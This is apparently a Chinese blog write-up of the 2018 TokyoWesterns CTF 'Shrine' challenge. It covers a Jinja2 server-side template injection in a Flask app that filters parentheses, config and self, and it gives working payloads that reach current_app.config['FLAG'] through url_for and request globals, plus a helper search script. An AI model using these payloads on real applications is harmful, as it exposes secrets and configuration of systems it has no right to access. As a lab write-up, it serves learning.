2018TWCTF—shrine

Posted by CoCo1er on 2019-09-28
Words 897 and Reading Time 4 Minutes
Viewed Times

2018TWCTF—Shrine

​ 很有意思的一个题,又是没见过的新操作。

题目直接给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

尝试

​ 初步审计一下源码,发现只有/shrine处可以有操作空间。因为是jinja的模板。于是用模板语言试试看有没有SSTI

可以看到7*7被解析执行了,存在SSTI,于是理所当然想到常用的payload诸如

''.__class__.__mro__[2].__subclasses__()

还有其他很多payload但是始终绕不过基类向下索引object子类时对括号的限制

解法一

​ SSTI大体上有两种利用方式,一种就是常见的向上索引基本类再向下索引object子类来构造恶意函数;另一种就是从框架中读取全局变量。

​ 通过源码我们可以知道flag是写入配置文件里的,如果我们不能直接open/read读取出配置文件的内容,我们还可以采用flask框架全局变量来获取的方式。

如果我们能用config

config可以直接读取出有关config的相关变量的信息。(然而config被set=Null,是没法直接读取的)

如果我们能用self

self=><TemplateReference None>

self.__dict__(类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在dict里的)

如果我们能用括号

[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]

既然前面那些都不能使用,为了获取到config的信息,我们就必须从更上一层的全局变量来获取到config。如何获取?

current_app

1
2
3
__globals__['current_app'].config['FLAG']

top.app.config['FLAG']

payload

从current_app中可以获取到config的内容,那么我们如何去引用current_app呢?(直接使用是不行的)

url_forget_flashed_messages

这两个函数是flask内置函数,可以通过它们来引用current_app

其他flask的内置函数/对象/变量请参考flask官方文档

payload:

1
2
3
4
5
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

or

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

解法二

​ 虽然config和self不能直接获取,但是request是有效的,猜测app.config可以通过request某处引用到,于是写一个搜索脚本(来自ctftime上的wp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# search.py

def search(obj, max_depth):

visited_clss = []
visited_objs = []

def visit(obj, path='obj', depth=0):
yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)

修改app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == app.config['FLAG']:
return path

if __name__ == '__main__':
app.run(debug=True)
1
2
3
4
5
6
7
$ python3 app.py &

$ curl 0:5000/shrine/123
obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']

$ curl -g "http://shrine.chal.ctf.westerns.tokyo/shrine/{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}"
TWCTF{pray_f0r_sacred_jinja2}